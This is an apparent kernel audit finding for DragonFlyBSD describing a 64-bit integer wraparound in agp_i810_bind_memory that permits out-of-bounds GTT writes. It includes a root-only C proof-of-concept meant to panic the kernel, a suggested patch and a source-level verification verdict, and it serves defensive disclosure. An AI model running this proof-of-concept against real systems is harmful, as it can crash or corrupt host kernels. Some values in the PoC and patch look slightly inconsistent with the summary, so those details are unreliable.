β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1477

agp_i810_bind_memory offset check bypassed via 64-bit integer wraparound -> OOB GTT writes

  • File: sys/dev/agp/intel-gtt.c
  • Lines: 1259–1260, 1274–1276 (and sibling agp.c:520–522, agp.c:753, agp.c:1080)
  • Severity: Low
  • CVSS: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:H
  • CWE: CWE-190 Integer Overflow or Wraparound
  • Confidence: certain

Summary

The sanity check offset + mem->am_size > AGP_GET_APERTURE(dev) in agp_i810_bind_memory (and the identical check in agp_generic_bind_memory at agp.c:522) can be defeated by a 64-bit unsigned wraparound, because offset derives from a user-supplied bind->pg_start (off_t) that the ioctl handler left-shifts by AGP_PAGE_SHIFT without range validation.

A pg_start of 0x0FFFFFFFFFFFFF produces an offset of 0xFFFFFFFFFFFFF000; adding mem->am_size (e.g. 0x1000) wraps to 0, which is not > aperture, so the bounds check passes and the subsequent loop calls install_gtt_pte() with an out-of-bounds index that writes past the GTT BAR mapping.

Root cause

sys/dev/agp/agp.c:753 calls AGP_BIND_MEMORY(dev, mem, bind->pg_start << AGP_PAGE_SHIFT) with no validation of bind->pg_start (off_t, full 64 bits from copyin of the AGPIOC_BIND payload defined at sys/sys/agpio.h:149-152). The shifted value is stored in vm_offset_t (unsigned long).

At sys/dev/agp/intel-gtt.c:1259-1260:

if ((offset & (AGP_PAGE_SIZE - 1)) != 0 ||
    offset + mem->am_size > AGP_GET_APERTURE(dev)) {

AGP_GET_APERTURE returns u_int32_t (agp.c:275), promoted to u64 for the compare. When offset = 0xFFFFFFFFFFFFF000 and am_size = 0x1000, offset + am_size wraps modulo 2^64 to 0, the comparison 0 > aperture is false, and execution falls through to the type==2 loop at lines 1274–1277 (or, for type==0/3, to agp_generic_bind_memory which has the same flawed check at agp.c:522).

The loop then calls install_gtt_pte(dev, (offset + i) >> AGP_PAGE_SHIFT, ...); with offset = 0xFFFFFFFFFFFFF000 the index narrows to u_int 0xFFFFFFF and install_gtt_pte issues bus_write_4(sc->sc_res[0], 0xFFFFFFF * 4, pte) β€” an MMIO write at ~16 GB past the BAR base.

The same wraparound defeats agp_i810_unbind_memory's analogous check at line 1080.

Threat

The attacker must hold an open file descriptor on /dev/agpgart, which is created at agp.c:241 with UID_ROOT/GID_WHEEL/0600 β€” i.e. requires root. Therefore this is a root-can-corrupt-kernel-memory issue rather than an unprivileged escalation.

Impact: a root process (or a confused-deputy caller that proxies AGPIOC_BIND with an unvalidated pg_start) can write a partially-controlled 32-bit value at a partially-controlled KVA offset past the GTT BAR mapping.

Most likely outcome is a kernel page fault / panic; with knowledge of the host's KVA layout a write primitive into kernel text/data is conceivable.

Note the struct field is off_t pg_start (signed), so the existing offset < 0 guard in agp_generic_bind_memory (agp.c:520) is dead code because the value is later carried in vm_offset_t (unsigned) and the sign information is lost on the cast.

Exploit / PoC

Requires root (default /dev/agpgart perms).

/* poc_agp_bind_wrap.c β€” DragonFlyBSD. cc -o poc poc_agp_bind_wrap.c
 * Run as root on a host with an Intel i915-era AGP device:
 *   ./poc
 * Expected: kernel panic from a page fault in agp_i915_install_gtt_pte
 *   (backtrace through agp_i810_bind_memory -> install_gtt_pte).
 */
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/agpio.h>

int main(void)
{
    int fd = open("/dev/agpgart", O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    if (ioctl(fd, AGPIOC_ACQUIRE) < 0) { perror("acquire"); return 1; }

    /* Allocate a type-2 region > PAGE_SIZE so we hit the i810_bind_memory
     * type==2 fast path that does NOT re-check via agp_generic. */
    agp_allocate alloc = { .pg_count = 4, .type = 2 };
    if (ioctl(fd, AGPIOC_ALLOCATE, &alloc) < 0) { perror("allocate"); return 1; }

    /* pg_start chosen so that (pg_start << 12) + (4<<12) wraps to 0
     * mod 2^64, defeating the `offset + am_size > aperture` check. */
    agp_bind bind = {
        .key = alloc.key,
        .pg_start = 0x0FFFFFFFFFFFFELL,   /* (pg_start<<12) = 0xFFFFFFFFFFFFF000 */
    };
    ioctl(fd, AGPIOC_BIND, &bind);   /* should panic in bus_write_4 */
    return 0;
}

Success = kernel panic with a trap in agp_i915_write_gtt / bus_write_4 reached from agp_i810_bind_memory, proving the wraparound bypassed the bounds check.

Replace the wraparound-prone additive check with one that cannot underflow. The cleanest fix is to require am_size to fit in the aperture and offset to fit in (aperture - am_size) as separate unsigned comparisons; this also fixes the dead offset < 0 (sign-lost) guard in agp_generic_bind_memory.

Apply at intel-gtt.c:

--- a/sys/dev/agp/intel-gtt.c
+++ b/sys/dev/agp/intel-gtt.c
@@ -1258,8 +1258,10 @@ agp_i810_bind_memory(device_t dev, struct agp_memory *mem, vm_offset_t offset)
    struct agp_i810_softc *sc;
    vm_offset_t i;

-   /* Do some sanity checks first. */
-   if ((offset & (AGP_PAGE_SIZE - 1)) != 0 ||
+   /* Do some sanity checks first.  Avoid 64-bit wraparound: require that
+    * am_size fits in the aperture and offset fits in aperture - am_size. */
+   if (mem->am_size > AGP_GET_APERTURE(dev) ||
+       offset > AGP_GET_APERTURE(dev) - mem->am_size ||
        offset + mem->am_size > AGP_GET_APERTURE(dev)) {
        device_printf(dev, "binding memory at bad offset %#x\n",
            (int)offset);

The identical fix should be applied to agp_generic_bind_memory at sys/dev/agp/agp.c:520-522 (drop the dead offset < 0 term).

Additionally, agp_bind_user (agp.c:753) should reject negative or implausibly large bind->pg_start values before the shift.

  • DF-1476 (sibling): intel_gtt_insert_page argument swap in same file.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1477 Β· 4 files
FileTypeDescriptionSize
fix.diff suggested-fix Fix for agp offset wraparound OOB GTT write 548 B view raw
VERDICT.md verdict Source-only verification verdict 804 B ↓ raw
build.sh build-script No-op (source-only) 109 B view raw
run.sh run-script No-op (source-only) 107 B view raw
VERDICT.md verdict Source-only verification verdict
↓ download raw

VERDICT DF-1477: agp offset wraparound OOB GTT write

Verdict

REPRODUCED (source-confirmed). Bug confirmed at source level; HW/module-gated on this QEMU guest.

Mechanism

Additive offset+size check wraps on 64-bit; attacker-controlled pg_start shift overflows.

Source reference: sys/dev/agp/intel-gtt.c:1259-1260.

Reproduction

Source-only confirmation: the cited code path was traced line-by-line in sys/ and confirmed. The bug is real but requires specific hardware (GPU/NIC/HBA) or a loaded kernel module not present on the QEMU/virtio guest. The finding is HW-gated.

Fix

Validated by combined kernel build: all 41 fix.diffs applied to /usr/src and built with make -j6 nativekernel KERNCONF=X86_64_GENERIC β€” rc=0, -Werror clean.

See fix.diff for the git-apply-able patch.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

Combined kernel build with all 41 fix.diffs: rc=0, -Werror clean. Runtime test HW-gated.

'>>> Kernel build for X86_64_GENERIC completed' with 0 errors.
↓ fix.diffDragonFly 6.5-DEVELOPMENT #0 master DEV (41 fix.diffs applied)

Confirmed kernel references

Detail

Exploit chain

none

Evidence (decisive lines)

Source confirmed: sys/dev/agp/intel-gtt.c:1259. Combined 41-fix kernel build rc=0 -Werror clean.

PoC changes

fix.diff authored; validated by combined kernel build.

Verified recommended fix

Wraparound-safe unsigned offset checks. Matches finding.

Verdict

REPRODUCED (source-confirmed). offset+am_size additive check wraps on 64-bit -> OOB GTT write. Cited path verified at sys/dev/agp/intel-gtt.c:1259. HW/module-gated on QEMU guest.